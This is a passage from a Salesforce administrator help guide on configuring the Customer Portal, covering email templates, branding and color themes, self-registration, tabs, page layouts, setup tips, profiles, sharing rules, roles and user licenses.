Managing Email Templates on page 109.This template must
be marked as Available for Use.
Lost Password Template The email template used to send a new password to existing
Customer Portal users when they reset their own passwords
by clicking Forgot your password? on the login page of the
Customer Portal. By default, a sample template is
automatically selected for you. To create your own template
or modify the sample, see Managing Email Templates on
page 109. This template must be marked as Available
for Use.

New Comment Template The email template used to send a notification to Customer
Portal users when a public comment is added to one of their
cases. To create your own template, see Managing Email
Templates on page 109. This template must be marked as
Available for Use.

Change Owner to Portal User Template The email template used to send a notification to Customer
Portal users when they become the new owner of a record
in the portal. To create your own template, see Managing
Email Templates on page 109.This template must be marked
as Available for Use.

Note: You can standardize the communication templates sent to the users of all your Customer Portals by clicking
the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal
Setup page. For more information, see Creating Multiple Customer Portals on page 1433.

Tip: If you plan to use the same communication template for different objects, such as the Change Owner to
Portal User Template, we recommend that you include text and merge fields on the template that are appropriate
for both objects. For example, if your organization has a Warranty custom object and a Training custom object,

1437
Customer Portal Setting Up Your Customer Portal

and you want to use the Change Owner to Portal User Template for both, the text and merge fields on the template
should read: “A new record has been assigned to you. Id: {!Training.ID}{!Warranty.Id}.” When the template is
sent, only the relevant merge fields will display.

Look and Feel


Setting Description
Header A text or HTML file that allows you to incorporate your
organization’s branding into the header of your Customer
Portal. Click the lookup icon ( ) to choose a file that has
been uploaded to a publicly accessible folder on the
Documents tab.
The files you include in the Header and Footer lookup
fields can have a combined size of up to 10 KB.
We recommend that you do not add a header and a logo to
your portal because they may not display properly together.
You can position the logout link anywhere on the header by
using the HTML tag: “<a
href="/secur/logout.jsp">Logout</a>.”

Footer A text or HTML file that allows you to incorporate your


organization’s branding into the footer of your Customer
Portal. Click the lookup icon ( ) to choose a file that has
been uploaded to a publicly accessible folder on the
Documents tab.
The files you include in the Header and Footer lookup
fields can have a combined size of up to 10 KB.

Logo An image file that allows you to incorporate your


organization's branding into the top left header of your
Customer Portal. Click the lookup icon ( ) to choose a
file that has been uploaded to a publicly accessible folder on
the Documents tab and marked as an Externally
Available Image.

The file you include in the Logo lookup field can be up to


20 KB.
We recommend that you do not add a header and a logo to
your portal because they may not display properly together.

Login Message A text or HTML file that allows you to incorporate your
organization’s branding into the header of the login page,
forgot password page, and change password page of your
Customer Portal. Click the lookup icon ( ) to choose a
file that has been uploaded to a publicly accessible folder on
the Documents tab.

1438
Customer Portal Setting Up Your Customer Portal

Look and Feel


Setting Description
The file you include in the Login Message lookup field
can be up to 2 KB.
Note: JavaScript and CSS code are automatically
removed from HTML files used as the portal login
message.

Self-Registration Settings
Setting Description
Self-Registration Enabled Allows existing contacts to register themselves for access to
your Customer Portal.
When you select this checkbox and add the Allow
Customer Portal Self-Registration checkbox to
contact page layouts, contacts whose records are marked
Allow Customer Portal Self-Registration can
view a self-registration area on the Login page of your
Customer Portal. From the self-registration area, users can
enter their email address and click Submit to receive an
automatically assigned username and password for logging
in to your Customer Portal. Other email notifications sent
to users regarding their registration status include:

• Existing user, from which the user can enter another


email address or click a Forgot Password? link to retrieve
his or her password.
• New user, which informs the user that the email address
he or she submitted does not match an existing contact
in your organization. If an administrator has
implemented Web-to-Case or Web-to-Lead to capture
new user information, then the user can click a link to
enter his or her information on the appropriate form.
• Internal error, which informs the user that an error
occurred during the self-registration process and that
your portal's administrator has been notified about the
error.
• Ineligible user, which informs the user that he or she is
not eligible for self-registration to your Customer Portal.
This notification is sent when a submitted email address
matches a contact that does not have the Allow
Customer Portal Self-Registration checkbox
selected. It is also sent when a submitted email address
does not match any contacts, and your administrator has

1439
Customer Portal Setting Up Your Customer Portal

Self-Registration Settings
Setting Description
not set up Web-to-Lead or Web-to-Case to capture new
user information.

Ensure that all required custom fields on users have default


values. Otherwise, users who self-register for your Customer
Portal will receive an error message.
Note that person account users cannot self-register for your
Customer Portal. When person account users self-register
for your Customer Portal, they receive an email notification
that instructs them to contact the portal administrator.

New User Form URL Allows you to specify the URL of a Web-to-Lead or
Web-to-Case form for users who self-register for access to
your Customer Portal.
The URL to this form is offered via the template selected
in the Registration Error Template field to
self-registering users who lack an existing contact record, so
that their information can be captured and converted to a
contact.
For more information about setting up Web-to-Lead or
Web-to-Case, see Capturing Web Leads on page 670 and
Capturing Web Cases on page 682.

Registration Error Template The email template sent to users who self-register for your
Customer Portal, but experience a registration error, or need
to complete a Web-to-Case or Web-to-Lead form to register
for your portal. By default, a sample template is automatically
selected for you. To create your own template or modify the
sample, see Managing Email Templates on page 109. This
template must be marked as Available for Use.
The From Email Address and From Email Name fields
on Customer Portal settings specify who this template is
sent from.

Default New User License


Click the lookup icon ( ) to choose a default portal user
license for users who self-register for your Customer Portal.
Default New User Role
Click the lookup icon ( ) to choose a default portal role
for users who self-register for your Customer Portal.
Default New User Profile
Click the lookup icon ( ) to choose a default portal profile
for users who self-register for your Customer Portal.
You cannot delete the profile selected as the default portal
profile.

1440
Customer Portal Setting Up Your Customer Portal

4. Click Save to save your Customer Portal settings.

See Also:
Setting Up Your Customer Portal

Customizing Your Customer Portal Fonts and Colors


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the fonts and colors of the Customer Portal: “Customize Application”

You can customize the fonts and colors of the Salesforce.com Customer Portal to reflect your company’s branding. Your
portal’s fonts and colors are specified in a portal “color theme.” Select a predefined color theme and optionally, customize it
to better match your branding. You can click the See examples link to see all of the theme attributes you can customize.

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Select the name of your Customer Portal.
3. Click Change Portal Fonts and Colors.
4. Select a color theme from the Color Theme drop-down list. Select Custom from the Color Theme drop-down list to
create your own theme from scratch.
A preview of the color theme you select is automatically displayed in the Preview sections.
5. Optionally, customize the color of any theme you select by either:

• Entering a hexadecimal value into any theme attribute, or


• Clicking the hexadecimal value of any theme attribute and selecting a color from the point-and-click editor

When you customize a theme, it is automatically renamed Custom when saved. You can customize the following options,
which when customized, automatically display in the Preview sections:

Tab Styles
Theme Attribute Description
Current Tab Text Text color of the tab users have selected.
Current Tab Background Background color of the tab users have selected.
Current Tab Border Border color of the tab users have selected.
Other Tab Text Text color of the tabs users have not selected.
Other Tab Background Background color of the tabs users have not selected.
Other Tab Border Border color of the tabs users have not selected.
Tab Bar Background Background color behind all tabs.

1441
Customer Portal Setting Up Your Customer Portal

Page Styles
Theme Attribute Description
Page Background Portal background color, excluding search, related lists,
recent items, solution categories, document folders, and the
Create New drop-down list.
Text Text color, size, and font on all portal items, except for tabs,
buttons, headers, and field labels.
Optionally, you can change the percent displayed in the
percent field to increase or decrease the size of all portal
items. Additionally, you can change the font of all portal
items, except for tabs, buttons, headers, and field labels from
the drop-down list.

Field Label Text Text color of the field names on records.


Optionally, you can change the font of the text from the
drop-down list.

Link Text color of all links.


Link Hover Text color of all links when a user hovers the mouse over
them.
Field Separator Color of the lines that separate fields on records.
Bottom Border Color of the line bordering the bottom of the portal.

Section Styles
Theme Attribute Description
Header Background Background color of all headings, including search, recent
items, related lists, solution categories, documents folders,
and the selected tab.
Section Header Text Text color and font on the headers of search, related lists,
recent items, solution categories, and document folders.
Optionally, you can change the font of the text from the
drop-down list.

Left Border Border to the left of search, related lists, recent items,
solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

1442
Customer Portal Setting Up Your Customer Portal

Section Styles
Theme Attribute Description
Right Border Border to the right of search, related lists, recent items,
solution categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

Top Border Border above search, related lists, recent items, solution
categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

Bottom Border Border underneath search, related lists, recent items, solution
categories, document folders, and the Create New
drop-down list.
Optionally, you can change the number of pixels displayed
in the pixel field to increase or decrease the thickness of the
border. Additionally, you can select the style of the line
displayed for the border from the drop-down list.

Section Background Background color of search, related lists, recent items,


solution categories, document folders, and the Create New
drop-down list.

List Styles
Theme Attribute Description
List Header Text Text color of the field names selected as column headings
on list views.
Optionally, you can change the font of the text from the
drop-down list.

Header Underline Color of the lines underneath column headings on related


lists and list views.
Separator Color of the lines between records on list views.
Row Highlight Color of a record when a user hovers the mouse over it on
list views.

1443
Customer Portal Setting Up Your Customer Portal

6. Click Save to save all changes to the theme values.


Tip: Changes are visible to Customer Portal users when they refresh their browsers. Therefore, we recommend
updating your portal color theme at times when users are least likely to visit your Customer Portal.

Note: To customize the header, footer, and logo of your Customer Portal, see Enabling Customer Portal Login and
Settings on page 1434.

See Also:
Setting Up Your Customer Portal
Customizing Your Customer Portal Tabs

Customizing Your Customer Portal Tabs


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Customer Portal tabs: “Customize Application”

You can choose which tabs display in the Salesforce.com Customer Portal, as well as customize the order in which tabs display
to portal users:

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Select the name of the Customer Portal whose tabs you want to customize.
3. Click Customize Portal Tabs.
4. To add or remove tabs, select a tab title, and click the Add or Remove arrow to add or remove the tab to or from the
Selected Tabs box. To change the order of the tabs, select a tab title in the Selected Tabs box, and click the Up or Down
arrow.
5. Optionally, from the Default Landing Tab drop-down, you can select which tab to display to users when they log
into your portal.
6. Click Save.

To make web tabs, the Reports tab, the Documents tab, the Ideas tab, the Articles tab, or the Salesforce CRM Content tabs
visible in the Customer Portal, add them to the portal using the steps above and also change the tab visibility setting to Default
On in all Customer Portal profiles. For other tabs, you can modify their default portal visibility on a profile level. For more
information, see Creating and Editing Profiles on page 146.

1444
Customer Portal Setting Up Your Customer Portal

Tip: You can create multiple Customer Portals that display different tabs for users with the same profile, as long as
the profile has access to each object displayed on a tab.

See Also:
Setting Up Your Customer Portal
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal

Customizing Your Customer Portal Pages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify page layouts: “Customize Application”
To assign page layouts to profiles: “Manage Users”

You can customize your Salesforce.com Customer Portal pages just as you customize pages in Salesforce.com: with page
layouts.
Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They
also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages
that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce
pages, and determine whether or not a label and scroll bars display.
Customer Portal users view the layouts assigned to their profile when they log in to your Customer Portal. You can customize
the following objects' page layouts for your portal:

• Home
• Tasks
• Events
• Cases
• Assets
• Accounts
• Solutions
• Contacts
• Custom Objects

Customizing Portal Page Layouts


To work with page layouts, go to Setup ➤ Customize, click the appropriate kind of record, and select Page Layouts. For
more information, see Managing Page Layouts on page 618.

1445
Customer Portal Setting Up Your Customer Portal

Note:
• By default, Customer Portal users have “Read” permissions on accounts, contacts, and assets so that they can view
their account name and choose a contact and asset for the cases they create on your portal.
• Customer Portal users cannot view the tags section of a page, even if it is included in a page layout. For more
information, see About Tagging on page 2097.

To work with page layouts for custom objects, click Setup ➤ Create ➤ Objects, select a custom object, and choose a page
layout from the Page Layouts section. For more information, see Building Page Layouts for Custom Objects on page 780.
To display a custom object in your Customer Portal, you must:
• Select the Available for Customer Portal checkbox on the custom object. You cannot assign a portal profile to
a custom-object page layout unless this checkbox is selected. For information on modifying this setting, see Defining
Custom Objects on page 765.
• Grant user permissions to the custom object on profiles assigned to portal users. For more information, see Creating and
Editing Profiles on page 146.
• Add the tab of the custom object to your Customer Portal so that the tab is accessible to your Customer Portal users. For
more information, see Customizing Your Customer Portal Tabs on page 1444.

Customizing Web Tabs, the Documents Tab, the Reports Tab, the Ideas tab, and Salesforce CRM Content Tabs
In addition to the objects above, you can allow Customer Portal users to view Web tabs, the Documents tab, the Reports tab,
the Ideas tab, and Salesforce CRM Content tabs (Workspaces, Content, Subscriptions and Contribute) when they log in to
your Customer Portal. These tabs do not have page layouts to customize.
• To allow portal users to view Web tabs, simply create Web tabs and assign them to Customer Portal profiles. For more
information, see Creating Web Tabs on page 792.
• To allow portal users to view a Documents tab, grant Customer Portal users access to the folders on your Salesforce.com
Documents tab that contain the files you want them to view. For more information, see Document Library Overview on
page 1514 and Creating and Editing Folders on page 650.
• To allow portal users to view a Reports tab, grant portal users access to the folders on your Salesforce.com Reports tab that
contain the reports you want them to run, set the organization wide default sharing model to Private on objects you want
portal users to report on, and assign portal users to profiles that include the “Run Reports” permission. For more information
see, Reports Overview on page 1862, Creating and Editing Folders on page 650, and Setting Your Organization-Wide
Default Sharing Model on page 198. When you add the Reports tab to your Customer Portal, portal users:
- Cannot customize reports or filter report results; they can only run reports.
- Can export reports to Excel if their profiles includes the “Export Reports” permission.
- Do not have access to the Unfiled Public Reports and My Personal Custom Reports folders.
- Will receive an insufficient privileges error if they run a report that contains objects they do not have permission to
view.

• To allow portal users to access the Ideas tab, create a Salesforce CRM Ideas community that is active and configured to
display in the portal. For more information, see Creating and Editing Communities on page 1617.
If your organization has the Ideas Only Portal license, hide the Reports tab in the Customer Portal. Otherwise, your
Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on
hiding tabs, see Customizing Your Customer Portal Tabs on page 1444.
• To allow portal users to access Salesforce CRM Content, see Enabling Salesforce CRM Content in the Customer Portal
on page 1429.

1446
Customer Portal Setting Up Your Customer Portal

Important: If you add Web tabs, the Reports tab, the Documents tab, or Salesforce CRM Content tabs to your
Customer Portal:
• Set the tab visibility settings on those tabs to Default On for portal profiles so portal users can view them. For
more information, see Creating and Editing Profiles on page 146.
• Add Web tabs, the Documents tab, the Reports tab, or Salesforce CRM Content tabs to your Customer Portal
so that the tabs are accessible to your Customer Portal users. For more information, see Customizing Your
Customer Portal Tabs on page 1444.

For setup tips and general information about Salesforce.com Customer Portal pages, see Setup Tips and Considerations for
Customer Portal Pages on page 1447.

See Also:
Customizing Your Customer Portal Fonts and Colors
Enabling Customer Portal Login and Settings
Designing Home Tab Page Layouts

Setup Tips and Considerations for Customer Portal Pages


Available in: Enterprise, Unlimited, and Developer Editions

Consider the following setup tips and general information about Salesforce.com Customer Portal pages:
Customer Portal Tabs
Only the following objects can display as tabs in your Customer Portal:

• Articles
• Ideas
• Home
• Cases
• Reports
• Solutions
• Web tabs
• Documents from the Documents tab
• Salesforce CRM Content tabs: Workspaces, Content, and Subscriptions
• Custom objects

Additionally, the following objects can display as tabs in your Customer Portal for delegated portal user administrators:

• Accounts
• Contacts

The tabs which display to portal users who log into your Customer Portal are determined by the tab settings on the
users' profile and by the administrator who customizes your Customer Portal. For more information, see Creating and
Editing Profiles on page 146 and Customizing Your Customer Portal Tabs on page 1444.

1447
Customer Portal Setting Up Your Customer Portal

Customer Portal users cannot view the tags section of a page, even if it is included in a page layout.

Setting Up Cases

• When setting up your Customer Portal, clone the page layout for cases (Case Layout), and rename it Portal Case
Layout. This allows you to easily differentiate between case page layouts for internal users and case page layouts
for portal users.
• By default, new cases are accessible in the Customer Portal, but you can include the Visible in Self-Service
checkbox on case page layouts so that you can deselect the checkbox to prevent a case from being displayed.
• Do not select the Show Case Email Notification and Show Case Email Notification by default
checkboxes on case page layouts. These features only apply to Salesforce.com users.
• Do not add the Internal Comments field to case page layouts assigned to portal profiles because portal users may
view comments intended only for Salesforce.com users.
• Include the Asset field on case page layouts if you want portal users to be able to associate cases with an asset related
to their account.
• Include the Contact Name lookup field on case page layouts so that users with “Edit” permissions on that field can
change a case's contact to another portal user in the same account.
• Do not select the Show solution information section, Show Contact Notification checkbox,
and Select Contact Notification checkbox by default checkboxes on close-case page layouts because
their functions only apply to Salesforce.com users.
• Create case record types to set the default value of the Case Origin picklist field for cases logged on your Customer
Portal. For more information, see Creating Record Types on page 613.
• For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case
is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users,
add a rule entry using the criteria Current User: User Type contains Customer Portal and select
the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 700.
• Portal users can view all the values in the Type, Status, Priority, and Case Reason picklist fields unless you
create record types for cases that contain separate picklist values for them. For more information, see Managing
Record Types on page 611.
• You can prevent portal users from submitting cases with attachments by removing the Submit & Add Attachment
button from case page layouts:
1. Edit a case page layout with the enhanced page layout editor.
2. Click Layout Properties.
3. Deselect Show Submit & Add Attachment Button.
4. Click OK.
5. Click Save.

Cases

• Portal users cannot edit the value of the Status picklist field on cases.
• Portal users can edit and delete attachments they have added to their cases, but portal users cannot edit and delete
attachments added to cases by Salesforce.com users.
• The Delete and Sharing buttons on case detail pages are not available to portal users.

1448
Customer Portal Setting Up Your Customer Portal

• The Email Message List, Next, and Previous links are not available to Customer Portal users when they view an
email from the Email related list on case detail pages. The Email related list is only available in organizations where
Email-to-Case or On-Demand Email-to-Case is enabled.
• Optionally, you can create case auto-response rules to automatically respond to portal users when they create a case
on your portal. For more information, see Setting Up Auto-Response Rules on page 708.
• Portal users can view, search, and create notes and attachments on cases.
• When creating a case, a portal user bypasses the Suggested Solutions page and is directed to their case if:

- No relevant suggested solutions match the case


- He or she creates the case by clicking Submit & Add Attachment

Note that suggested solutions are only available in organizations where they are enabled. For more information on
suggested solutions, see What are Suggested Solutions? on page 2108. For more information about how Salesforce.com
Customer Portal users can self-close their own cases directly from suggested solutions, see Enabling Customer Portal
Login and Settings on page 1434.
• If Salesforce Knowledge is enabled, you can add the Articles related list to case page layouts assigned to portal users
so that they can find articles that help them solve their cases. See Customizing Related Lists on page 635.

Solutions

• The Status picklist field on solutions is not available to portal users.


• The Status picklist field on a solution does not need to be set to Reviewed for a solution to be visible in the Customer
Portal; a solution is visible in the Customer Portal if the Visible in Self-Service Portal checkbox is selected
on a solution.
• If you enable solution categories for your organization, then solution categories are also available in your Customer
Portal. Uncategorized solutions do not display in the solution categories of your Customer Portal, but they do display
in your portal's search and list views.
• The top solutions feature is not available for your Customer Portal, but you can create links on your Customer Portal
home page to your organization's most relevant solutions.

Home Page

• Include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so that
when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
about themselves their user record is updated but their contact record is not automatically updated with those changes.
For more information about defining home page components and assigning home page layouts, see Customizing
Home Tab Page Layouts on page 641.
Note that Customer Portal users whose profile includes the “Is Single Sign-On Enabled” permission cannot change
their username via the Customer Portal Welcome component. For more information on Single Sign-On, see Company
Information Fields on page 84.
• When designing home page layouts for your Customer Portal, we recommend adding the following components:
Search, Solution Search, Recent Items, Customer Portal Welcome; and a custom HTML Area component that
includes your corporate branding in the wide column.
• Create custom components to put on the home page layouts of your Customer Portal, such as links to custom list
views, specific documents, and top solutions. For more information, see Defining Home Tab Components on page
641.

1449
Customer Portal Setting Up Your Customer Portal

• Custom component names do not display in the wide section of the home page in the Customer Portal.
• You can position the logout link anywhere on the header by using the HTML tag: “<a
href="/secur/logout.jsp">Logout</a>.” For more information on the header, see Enabling Customer
Portal Login and Settings on page 1434.
• We recommend not adding the following components to your Customer Portal home page layouts because they are
for Salesforce.com users: Tasks, Calendar, Product Search, Recent Items, Dashboard Snapshot,
Messages & Alerts, and Items To Approve.

Activities

• Portal users cannot be assigned to activities.


• Portal users can view completed tasks and past events marked Visible in Self-Service that are associated
with objects they have permission to view.

Documents
Verify that none of your organization's internal documents on the Documents tab are available in folders accessible to
portal users. For more information, see Managing Folders on page 647.

Reports

• Portal users can run reports if their profile includes the “Run Reports” permission.
• Portal users can export reports if their profile includes the “Export Reports” permission.
• The Report Options section does not display on report results for portal users because portal users cannot customize
report results. Also, the Generated Chart section, which includes the Edit, Large, Medium, and Small links, does
not display on report results.
• Report results for portal users only include links to objects the portal users have permission to access.
• Portal users can only report on objects set to Private in the organization-wide default sharing model. Some objects,
such as solutions and articles, are not included in the sharing model and cannot be reported on by Customer Portal
users. For more information, see Setting Your Organization-Wide Default Sharing Model on page 198.
• Portal users will receive an insufficient privileges error if they run a report that contains objects they do not have
permission to view.
• By default all users, including portal users, can view report folders. To prevent portal users from viewing report folders,
update the sharing settings on report folders to the All Internal Users group. For more information, see Managing
Folders on page 647.

Custom Objects

• When you deselect the Available for Customer Portal checkbox on a custom object, the custom object is
no longer available on the Customer Portal, and all of the user permissions for the custom object are automatically
removed from portal profiles. If you select the Available for Customer Portal checkbox on a custom object
again, you must update the user permissions for the custom object on portal profiles.
• Portal users can view, search, and create notes and attachments on custom objects.

Articles
For setup information, see Enabling Salesforce Knowledge in the Customer Portal on page 1431.

1450
Customer Portal Setting Up Your Customer Portal

Assets

• Portal users cannot edit assets.


• Portal users can only view assets associated with their accounts.
• Assets are only visible to portal users if you include the Assets lookup field on case page layouts. From case detail
pages, portal users can click the asset in the Asset field to view the asset.
• Portal users can view and search attachments on assets.

Salesforce CRM Content

• Portal users with a Salesforce CRM Content feature license can perform any tasks granted by their workspace
permission.
• Portal users with the “View Content on Portals” user permission have view-only access to Salesforce CRM Content.
• Portal users with the “Create Workspaces” user permission can create and administer workspaces.

For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1429.

Salesforce CRM Ideas

For setup information, see Enabling Salesforce CRM Ideas in the Customer Portal on page 1432.

Accounts
Only users with delegated Customer Portal user administrator rights can view the Accounts tab and their account's detail
page in your Customer Portal. For more information, see Delegating Customer Portal User Administration and Portal
Super User on page 1465.

Contacts
Only users with delegated Customer Portal user administration rights can view their account's contacts. For more
information, see Delegating Customer Portal User Administration and Portal Super User on page 1465.
Only users with the “Portal Super User” permission can view the Contacts tab and edit and detail pages for contacts in
your Customer Portal. For more information, see Delegating Customer Portal User Administration and Portal Super
User on page 1465.

See Also:
Customizing Your Customer Portal Pages

Customer Portal Setup Limits


Available in: Enterprise, Unlimited, and Developer Editions

Contact salesforce.com for information about the number of Customer Portals and Customer Portal user licenses you can
activate.
The maximum number of custom objects you can include in a Customer Portal is determined by the total number of custom
objects your Edition allows. See Salesforce.com Editions and Limits on page 1007.

1451
Customer Portal Managing Customer Portal Users

Also, user licenses control the number of custom objects a portal user can see in a Customer Portal. For information, contact
salesforce.com.

See Also:
Setting Up Your Customer Portal

Managing Customer Portal Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users: “Edit Self-Service Users”
To create, edit, and delete profiles: “Manage Users”
To create, edit, and delete page layouts: “Customize Application”
To set field-level security: “Customize Application”
To set sharing rules: “Manage Users”

Managing Customer Portal users is similar to managing regular Salesforce.com users. General user administration concepts
like profiles and page layouts still apply. Review the following advice for managing Customer Portal users:

• Customer Portal Profiles


• Customer Portal Sharing Rules
• Customer Portal Role Hierarchy
• Customer Portal User Licenses

Note: High-volume Customer Portal users include both the High-Volume Customer Portal User and Authenticated
Website User license types.

Customer Portal Profiles


The profiles you assign to Customer Portal users defines permissions for them to perform different functions within a Customer
Portal, such as whether they can view, create, edit, or delete cases and custom object records.
When you enable a Customer Portal, the following profiles are automatically created if you purchased user licenses for them:
• High-Volume Customer Portal User
• Authenticated Website User
• Customer Portal User
• Customer Portal Manager
The settings on Customer Portal profiles are similar. However, you can grant users with the Customer Portal Manager profile
greater access to data via the Customer Portal role hierarchy and sharing rules (neither of which apply to high-volume Customer
Portal users). You can also clone and customize each profile to suit the various support requirements of specific customers.

1452
Customer Portal Managing Customer Portal Users

Depending on the user licenses you purchased, you can configure Customer Portal profiles for custom object, Salesforce CRM
Content, reporting, and customer support functionality, such as cases and solutions.

Customer Portal Sharing Rules


After you enable a Customer Portal, the following groups and sharing rule category are created:

Groups and Sharing Rule Category Description


All Customer Portal Users group Contains all Customer Portal users, except for high-volume
Customer Portal users.
All Internal Users group Contains all Salesforce.com users in your organization.
Roles and Internal Subordinates sharing rule category Lets you create sharing rules with specific Salesforce.com users
in your organization by role plus all of the users in roles below
that role, excluding any Customer Portal and partner portal
roles.
Because high-volume Customer Portal users don't have roles,
they aren't included in this or any other sharing rule category.

You can use these groups and the sharing rule category to create sharing rules that:
• Grant Customer Portal or Salesforce.com users access to specific data (except for high-volume Customer Portal users
because you can't include them in any groups or sharing rules)
• Link Customer Portal users and Salesforce.com users
• Link Customer Portal users from different accounts as long as they have the Customer Portal Manager user license

Customer Portal Role Hierarchy


When you enable a Customer Portal on an account, the system creates a role hierarchy for the account's portal users. The
portal roles are unique for each account and include the account's name. For example, “Account A Customer User.” In your
organization's overall role hierarchy, this account-specific hierarchy is directly below the account owner.
The roles in a portal role hierarchy are fixed. You cannot customize them or add new ones. They are:
• Executive—for contacts
• Manager—for contacts
• User—for contacts
• Person Account—for person accounts
As you enable customers as Customer Portal users, the system automatically assigns roles based on the user license. Person
accounts always have the Person Account role. Contacts with the High-Volume Customer Portal User or Authenticated
Website User user license do not have a role.
Role hierarchies ensure that portal users from different accounts never see each other's data. Even though high-volume
Customer Portal users don't have roles, they're restricted from seeing records that aren't associated with their account or
contact, and they can only see objects to which they've been granted access. You can, however, create sharing rules so that
users with the Customer Portal Manager user license from different accounts can see each other's data.
Accounts with different portal types—Customer Portal and PRM Portal—have a separate role hierarchy for each portal. Role
names include the portal type with which they are associated. For example, if Account A has both a Customer Portal and a
PRM portal, then roles for the Customer Portal are named “Account A Customer User” and roles for the PRM portal are
named “Account A Partner User.”

1453
Customer Portal Managing Customer Portal Users

To view the roles assigned to your Customer Portal users, create a custom report, choose Administrative Reports, select Users
as the data type, and add Role to your report columns. Note that you can't report on roles for high-volume Customer Portal
users because they don't have roles. See Administrative Reports on page 1889.
Note: You cannot create a Customer Portal user associated with an account owned by a partner user.

Customer Portal User Licenses


User licenses restrict the functions that Customer Portal users can perform. You can assign the following user licenses to
Customer Portal users:
• High-Volume Customer Portal User
• Authenticated Website User
• Customer Portal Manager Standard
• Customer Portal Manager Custom
These user licenses determine the available Customer Portal profiles. They also determine users' positions in the Customer
Portal role hierarchy.
The following table shows the Customer Portal user licenses with their associated profiles and positions in the Customer
Portal role hierarchy:

User License Profiles Roles and Sharing


High-Volume Customer Portal User High-Volume Customer Portal User or High-volume Customer Portal users
Authenticated Website User profile, or don't have roles. See Granting
and
a profile cloned and customized from one High-Volume Customer Portal Users
Authenticated Website User of these Access to Objects on page 1457.
(both user licenses are high-volume • Can access custom objects depending Can't share but can transfer records they
Customer Portal users) on profile settings. own or have access to; can't access
• Can't assign to person accounts. articles.
Can't transfer cases from non
high-volume Customer Portal users to
them.
Can't include in:
• Personal groups or public groups
• Sharing rules
• Account teams, sales teams, or case
teams
• Salesforce CRM Content workspaces

Customer Portal Manager Standard Customer Portal User profile or a profile Can only assign to the User role.
cloned and customized from the
Can only view and edit data they directly
Customer Portal User profile
own and can view and edit cases where
• Can access custom objects depending they are listed in the Contact Name
on profile settings. field.
• Can access Salesforce CRM Content
depending on feature license and
profile settings. See Enabling

1454
Customer Portal Managing Customer Portal Users

User License Profiles Roles and Sharing


Salesforce CRM Content in the
Customer Portal on page 1429.

Customer Portal Manager Custom Customer Portal Manager profile or a Can assign to either the Executive,
profile cloned and customized from the Manager, or User role.
Customer Portal Manager profile
Can view and edit data they directly own
• Can access custom objects depending or data owned by or shared with users
on profile settings. below them in the Customer Portal role
• Can access reports depending on hierarchy; and they can view and edit
profile settings. cases where they are listed in the
• Can access Salesforce CRM Content Contact Name field.
depending on feature license and
profile settings. See Enabling Can have data shared to them just like
Salesforce CRM Content in the other Salesforce.com users.
Customer Portal on page 1429.
• Can receive the “Portal Super User”
and “Delegated Portal User
Administrator” permissions.
• The settings on the Customer Portal
Manager and Customer Portal User
profiles are similar. However, users
associated with the Customer Portal
Manager profile can be assigned
greater access to data via the
Customer Portal role hierarchy and
sharing rules.

Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role, which
you cannot change. Person accounts are automatically assigned to this role because they include a single user, so multiple
roles are not necessary for their account. Furthermore, all person accounts owned by the same user are assigned the
same role.

See Also:
Working with Customer Portal Users
Setting Up Your Customer Portal
What is a Person Account?
Configuring Multilingual HTML Messages
Administrator setup guide: Salesforce Customer Portal Implementation Guide

1455
Customer Portal Managing Customer Portal Users

Configuring User Access to the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Customer Portal: “Customize Application”
To manage Customer Portal users: “Edit Self-Service Users”
To create, edit, and delete profiles: “Manage Users”
To set default sharing access: “Manage Users”
To set sharing rules: “Manage Users”
To enable Customer Portal users: “Edit Self-Service Users”
OR
“Manage Users”

When setting up a Salesforce.com Customer Portal for the first time, configure the following before enabling users to access
your portal:

1. Set up your portal as described in Setting Up Your Customer Portal.


2. Assign Customer Portal profiles to a portal:

a. Select the name of a portal from the Customer Portal Setup page.
b. Click Edit Profiles in the Assigned Profiles section.
c. Select the Active checkbox next to the profile you want to assign to the portal.

Portal users can only log into Customer Portals assigned to their profile. If you are creating multiple portals, you must
assign profiles to each portal you want users to access.
3. Set the organization-wide defaults in your organization's sharing model to Private on accounts, contacts, contracts, assets,
and cases. This ensures that portal users can only view and edit data related to their accounts. For more information, see
Setting Your Organization-Wide Default Sharing Model on page 198.
Tip: To maintain Public organization-wide default behavior for Salesforce.com users, while ensuring that portal
users can only view and edit data related to their accounts, you can create self-referencing sharing rules of “All
Internal Users” to “All Internal Users”. For more information, see Setting Sharing Rules on page 211.

4. Optionally, set sharing rules for portal users (with the exception of high-volume Customer Portal users). See Setting
Sharing Rules on page 211.
Note: If your organization uses sharing rules that share to Roles and Subordinates, then update those sharing rules
